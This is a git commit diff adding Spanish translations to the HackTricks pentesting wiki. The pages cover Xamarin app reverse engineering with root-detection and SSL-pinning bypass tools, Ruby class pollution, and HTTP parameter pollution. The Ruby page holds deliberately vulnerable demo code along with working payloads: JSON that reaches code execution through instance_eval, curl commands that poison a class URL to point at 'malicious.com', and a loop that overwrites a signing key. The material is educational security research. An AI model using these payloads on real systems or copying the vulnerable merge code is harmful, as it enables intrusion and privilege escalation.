Translated ['mobile-pentesting/xamarin-apps.md', 'pentesting-web/deseria

This commit is contained in:
Translator 2024-11-05 23:48:47 +00:00
parent 4c391d99c8
commit afad7fd874
13 changed files with 567 additions and 48 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 153 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 218 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 167 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 162 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 164 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 168 KiB

View file

@ -570,6 +570,7 @@
* [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md)
* [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
* [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
* [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
* [Email Injections](pentesting-web/email-injections.md)
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)

View file

@ -1,8 +1,8 @@
# Xamarin Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,31 +15,29 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
This is a summary of the blog post [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
## **Información Básica**
Xamarin es una **plataforma de código abierto** diseñada para que los desarrolladores **crean aplicaciones para iOS, Android y Windows** utilizando los frameworks .NET y C#. Esta plataforma ofrece acceso a numerosas herramientas y extensiones para crear aplicaciones modernas de manera eficiente.
### Arquitectura de Xamarin
- Para **Android**, Xamarin se integra con los espacios de nombres de Android y Java a través de enlaces .NET, operando dentro del entorno de ejecución Mono junto con el Android Runtime (ART). Los Managed Callable Wrappers (MCW) y Android Callable Wrappers (ACW) facilitan la comunicación entre Mono y ART, ambos construidos sobre el núcleo de Linux.
- Para **iOS**, las aplicaciones se ejecutan bajo el entorno de ejecución Mono, utilizando una compilación completa Ahead of Time (AOT) para convertir el código C# .NET en lenguaje ensamblador ARM. Este proceso se ejecuta junto con el Objective-C Runtime en un núcleo similar a UNIX.
* Para **Android**, Xamarin se integra con los espacios de nombres de Android y Java a través de enlaces .NET, operando dentro del entorno de ejecución Mono junto con el Android Runtime (ART). Los Managed Callable Wrappers (MCW) y Android Callable Wrappers (ACW) facilitan la comunicación entre Mono y ART, ambos construidos sobre el núcleo de Linux.
* Para **iOS**, las aplicaciones se ejecutan bajo el tiempo de ejecución Mono, utilizando una compilación completa Ahead of Time (AOT) para convertir el código C# .NET en lenguaje ensamblador ARM. Este proceso se ejecuta junto con el Objective-C Runtime en un núcleo similar a UNIX.
### Entorno de Ejecución .NET y Framework Mono
### Tiempo de Ejecución .NET y Framework Mono
El **framework .NET** incluye ensamblados, clases y espacios de nombres para el desarrollo de aplicaciones, con el Entorno de Ejecución .NET gestionando la ejecución del código. Ofrece independencia de plataforma y compatibilidad hacia atrás. El **Framework Mono** es una versión de código abierto del framework .NET, iniciado en 2005 para extender .NET a Linux, ahora respaldado por Microsoft y liderado por Xamarin.
El **framework .NET** incluye ensamblados, clases y espacios de nombres para el desarrollo de aplicaciones, con el Tiempo de Ejecución .NET gestionando la ejecución del código. Ofrece independencia de plataforma y compatibilidad hacia atrás. El **Framework Mono** es una versión de código abierto del framework .NET, iniciado en 2005 para extender .NET a Linux, ahora soportado por Microsoft y liderado por Xamarin.
### Ingeniería Inversa de Aplicaciones Xamarin
#### Descompilación de Ensamblados Xamarin
#### Decompilación de Ensamblados Xamarin
La descompilación transforma el código compilado de nuevo en código fuente. En Windows, la ventana de Módulos en Visual Studio puede identificar módulos para descompilación, permitiendo el acceso directo al código de terceros y la extracción del código fuente para análisis.
La decompilación transforma el código compilado de nuevo en código fuente. En Windows, la ventana de Módulos en Visual Studio puede identificar módulos para decompilación, permitiendo el acceso directo al código de terceros y la extracción del código fuente para análisis.
#### Compilación JIT vs AOT
- **Android** admite la compilación Just-In-Time (JIT) y Ahead-Of-Time (AOT), con un modo híbrido AOT para una velocidad de ejecución óptima. La AOT completa es exclusiva para licencias empresariales.
- **iOS** emplea únicamente la compilación AOT debido a las restricciones de Apple sobre la ejecución de código dinámico.
* **Android** soporta la compilación Just-In-Time (JIT) y Ahead-Of-Time (AOT), con un modo híbrido AOT para una velocidad de ejecución óptima. La AOT completa es exclusiva para licencias Enterprise.
* **iOS** emplea únicamente la compilación AOT debido a las restricciones de Apple sobre la ejecución de código dinámico.
### Extracción de archivos dll de APK/IPA
@ -47,30 +45,41 @@ Para acceder a los ensamblados en un APK/IPA, descomprime el archivo y explora e
```bash
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
Para ensamblar blobs en Android, [pyxamstore](https://github.com/jakev/pyxamstore) puede descomprimirlos.
En los casos en que después de descompilar el APK es posible ver la carpeta unknown/assemblies/ con los archivos `.dll` dentro, es posible usar [**dnSpy**](https://github.com/dnSpy/dnSpy) directamente sobre los `.dlls` para analizarlos.\
Sin embargo, a veces se encuentran los archivos `assemblies.blob` y `assemblies.manifest` dentro de la carpeta unknown/assemblies/. La herramienta [pyxamstore](https://github.com/jakev/pyxamstore) se puede usar para descomprimir el archivo `assemblies.blob` en aplicaciones Xamarin, permitiendo el acceso a los ensamblajes .NET para un análisis posterior:
```bash
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
```
Los archivos dll de iOS son fácilmente accesibles para la descompilación, revelando porciones significativas del código de la aplicación, que a menudo comparte una base común en diferentes plataformas.
Los archivos .dll de iOS son fácilmente accesibles para la descompilación, revelando porciones significativas del código de la aplicación, que a menudo comparte una base común en diferentes plataformas.
### Análisis Estático
Una vez que se obtienen los `.dll`, es posible analizar el código .Net de forma estática utilizando herramientas como [**dnSpy**](https://github.com/dnSpy/dnSpy) **o** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **que** permitirán modificar el código de la aplicación. Esto puede ser muy útil para manipular la aplicación y eludir protecciones, por ejemplo.\
Ten en cuenta que después de modificar la aplicación necesitarás empaquetarla nuevamente y firmarla de nuevo.
### Análisis Dinámico
El análisis dinámico implica verificar la fijación de SSL y usar herramientas como [Fridax](https://github.com/NorthwaveSecurity/fridax) para modificaciones en tiempo de ejecución del binario .NET en aplicaciones Xamarin. Los scripts de Frida están disponibles para eludir la detección de root o la fijación de SSL, mejorando las capacidades de análisis.
El análisis dinámico implica verificar el pinning de SSL y usar herramientas como [Fridax](https://github.com/NorthwaveSecurity/fridax) para modificaciones en tiempo de ejecución del binario .NET en aplicaciones Xamarin. Los scripts de Frida están disponibles para eludir la detección de root o el pinning de SSL, mejorando las capacidades de análisis.
Otros scripts interesantes de Frida:
Otros scripts de Frida interesantes:
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
### Re-firmado
La herramienta [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) simplifica la firma de múltiples APKs con la misma clave, y se puede usar para re-firmar una aplicación después de que se hayan realizado cambios en ella.
## Más información
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
* [https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf](https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -0,0 +1,441 @@
# Contaminación de Clases en Ruby
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
Este es un resumen de la publicación [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
## Fusión en Atributos
Ejemplo:
```ruby
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'
# Base class for both Admin and Regular users
class Person
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
protected
def check_cpu
puts "CPU check passed."
end
def check_memory
puts "Memory check passed."
end
end
# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
end
end
if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
### Explicación
1. **Escalamiento de Privilegios**: El método `authorize` verifica si `to_s` devuelve "Admin." Al inyectar un nuevo atributo `to_s` a través de JSON, un atacante puede hacer que el método `to_s` devuelva "Admin," otorgando privilegios no autorizados.
2. **Ejecución Remota de Código**: En `health_check`, `instance_eval` ejecuta métodos listados en `protected_methods`. Si un atacante inyecta nombres de métodos personalizados (como `"puts 1"`), `instance_eval` lo ejecutará, lo que lleva a **ejecución remota de código (RCE)**.
1. Esto solo es posible porque hay una **instrucción `eval` vulnerable** que ejecuta el valor de cadena de ese atributo.
3. **Limitación de Impacto**: Esta vulnerabilidad solo afecta a instancias individuales, dejando otras instancias de `User` y `Admin` sin afectar, limitando así el alcance de la explotación.
### Casos del Mundo Real <a href="#real-world-cases" id="real-world-cases"></a>
### `deep_merge` de ActiveSupport
Esto no es vulnerable por defecto, pero puede hacerse vulnerable con algo como:&#x20;
```ruby
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
end
```
### Hashies `deep_merge`
El método `deep_merge` de Hashie opera directamente sobre los atributos del objeto en lugar de hashes simples. **Previene la sustitución de métodos** por atributos en una fusión con algunas **excepciones**: los atributos que terminan en `_`, `!` o `?` aún pueden fusionarse en el objeto.
Un caso especial es el atributo **`_`** por sí solo. Solo `_` es un atributo que generalmente devuelve un objeto `Mash`. Y debido a que es parte de las **excepciones**, es posible modificarlo.
Mira el siguiente ejemplo de cómo al pasar `{"_": "Admin"}` se puede eludir `_.to_s == "Admin"`:
```ruby
require 'json'
require 'hashie'
# Base class for both Admin and Regular users
class Person < Hashie::Mash
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end
if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
En el siguiente ejemplo es posible encontrar la clase **`Person`**, y las clases **`Admin`** y **`Regular`** que heredan de la clase **`Person`**. También tiene otra clase llamada **`KeySigner`**:
```ruby
require 'json'
require 'sinatra/base'
require 'net/http'
# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
private
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
run! if app_file == $0
end
```
### Clase Padre Tóxica
Con esta carga útil:
{% code overflow="wrap" %}
```bash
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
```
{% endcode %}
Es posible modificar el valor del atributo **`@@url`** de la clase padre **`Person`**.
### **Envenenando Otras Clases**
Con esta carga útil:
{% code overflow="wrap" %}
```bash
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
```
{% endcode %}
Es posible realizar un ataque de fuerza bruta a las clases definidas y en algún momento envenenar la clase **`KeySigner`** modificando el valor de `signing_key` por `injected-signing-key`.\
## Referencias
* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,18 @@
# Contaminación de Parámetros
## Contaminación de Parámetros
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
@ -19,74 +21,140 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
{% embed url="https://websec.nl/" %}
# Visión General de la Contaminación de Parámetros HTTP (HPP)
## Visión General de la Contaminación de Parámetros HTTP (HPP)
La Contaminación de Parámetros HTTP (HPP) es una técnica donde los atacantes manipulan parámetros HTTP para cambiar el comportamiento de una aplicación web de maneras no intencionadas. Esta manipulación se realiza añadiendo, modificando o duplicando parámetros HTTP. El efecto de estas manipulaciones no es directamente visible para el usuario, pero puede alterar significativamente la funcionalidad de la aplicación en el lado del servidor, con impactos observables en el lado del cliente.
## Ejemplo de Contaminación de Parámetros HTTP (HPP)
### Ejemplo de Contaminación de Parámetros HTTP (HPP)
Una URL de transacción de una aplicación bancaria:
- **URL Original:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
* **URL Original:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
Al insertar un parámetro `from` adicional:
- **URL Manipulada:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
* **URL Manipulada:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
La transacción puede ser incorrectamente cargada a `accountC` en lugar de `accountA`, mostrando el potencial de HPP para manipular transacciones u otras funcionalidades como restablecimientos de contraseña, configuraciones de 2FA o solicitudes de claves API.
### **Análisis de Parámetros Específico de Tecnología**
#### **Análisis de Parámetros Específico de Tecnología**
- La forma en que se analizan y priorizan los parámetros depende de la tecnología web subyacente, afectando cómo se puede explotar HPP.
- Herramientas como [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) ayudan a identificar estas tecnologías y sus comportamientos de análisis.
* La forma en que se analizan y priorizan los parámetros depende de la tecnología web subyacente, afectando cómo se puede explotar HPP.
* Herramientas como [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) ayudan a identificar estas tecnologías y sus comportamientos de análisis.
## Explotación de HPP en PHP
### Explotación de HPP en PHP
**Caso de Manipulación de OTP:**
- **Contexto:** Se explotó un mecanismo de inicio de sesión que requería una Contraseña de Un Solo Uso (OTP).
- **Método:** Al interceptar la solicitud de OTP utilizando herramientas como Burp Suite, los atacantes duplicaron el parámetro `email` en la solicitud HTTP.
- **Resultado:** El OTP, destinado al correo electrónico inicial, fue enviado en su lugar a la segunda dirección de correo electrónico especificada en la solicitud manipulada. Este fallo permitió el acceso no autorizado al eludir la medida de seguridad prevista.
* **Contexto:** Se explotó un mecanismo de inicio de sesión que requería una Contraseña de Un Solo Uso (OTP).
* **Método:** Al interceptar la solicitud de OTP utilizando herramientas como Burp Suite, los atacantes duplicaron el parámetro `email` en la solicitud HTTP.
* **Resultado:** El OTP, destinado al correo electrónico inicial, fue enviado en su lugar a la segunda dirección de correo electrónico especificada en la solicitud manipulada. Este fallo permitió el acceso no autorizado al eludir la medida de seguridad prevista.
Este escenario destaca una falla crítica en el backend de la aplicación, que procesó el primer parámetro `email` para la generación de OTP, pero utilizó el último para la entrega.
Este escenario destaca una omisión crítica en el backend de la aplicación, que procesó el primer parámetro `email` para la generación de OTP, pero utilizó el último para la entrega.
**Caso de Manipulación de Clave API:**
- **Escenario:** Una aplicación permite a los usuarios actualizar su clave API a través de una página de configuración de perfil.
- **Vector de Ataque:** Un atacante descubre que al añadir un parámetro `api_key` adicional a la solicitud POST, puede manipular el resultado de la función de actualización de la clave API.
- **Técnica:** Utilizando una herramienta como Burp Suite, el atacante elabora una solicitud que incluye dos parámetros `api_key`: uno legítimo y uno malicioso. El servidor, procesando solo la última ocurrencia, actualiza la clave API al valor proporcionado por el atacante.
- **Resultado:** El atacante obtiene control sobre la funcionalidad API de la víctima, potencialmente accediendo o modificando datos privados sin autorización.
* **Escenario:** Una aplicación permite a los usuarios actualizar su clave API a través de una página de configuración de perfil.
* **Vector de Ataque:** Un atacante descubre que al añadir un parámetro `api_key` adicional a la solicitud POST, puede manipular el resultado de la función de actualización de la clave API.
* **Técnica:** Utilizando una herramienta como Burp Suite, el atacante elabora una solicitud que incluye dos parámetros `api_key`: uno legítimo y uno malicioso. El servidor, procesando solo la última ocurrencia, actualiza la clave API al valor proporcionado por el atacante.
* **Resultado:** El atacante obtiene control sobre la funcionalidad API de la víctima, potencialmente accediendo o modificando datos privados sin autorización.
Este ejemplo subraya aún más la necesidad de un manejo seguro de parámetros, especialmente en características tan críticas como la gestión de claves API.
Este ejemplo subraya aún más la necesidad de un manejo seguro de parámetros, especialmente en funciones tan críticas como la gestión de claves API.
## Análisis de Parámetros: Flask vs. PHP
### Análisis de Parámetros: Flask vs. PHP
La forma en que las tecnologías web manejan parámetros HTTP duplicados varía, afectando su susceptibilidad a ataques HPP:
- **Flask:** Adopta el primer valor de parámetro encontrado, como `a=1` en una cadena de consulta `a=1&a=2`, priorizando la instancia inicial sobre duplicados posteriores.
- **PHP (en Apache HTTP Server):** Por el contrario, prioriza el último valor de parámetro, optando por `a=2` en el ejemplo dado. Este comportamiento puede facilitar inadvertidamente los exploits de HPP al honrar el parámetro manipulado por el atacante sobre el original.
* **Flask:** Adopta el primer valor de parámetro encontrado, como `a=1` en una cadena de consulta `a=1&a=2`, priorizando la instancia inicial sobre duplicados posteriores.
* **PHP (en Apache HTTP Server):** Por el contrario, prioriza el último valor de parámetro, optando por `a=2` en el ejemplo dado. Este comportamiento puede facilitar inadvertidamente los exploits de HPP al honrar el parámetro manipulado por el atacante sobre el original.
## Contaminación de parámetros por tecnología
Los resultados fueron tomados de [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
### PHP 8.3.11 Y Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
<figure><img src="../.gitbook/assets/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
1. Ignorar cualquier cosa después de %00 en el nombre del parámetro.
2. Manejar name\[] como un array.
3. \_GET no significa método GET.
4. Preferir el último parámetro.
### Ruby 3.3.5 y WEBrick 1.8.2
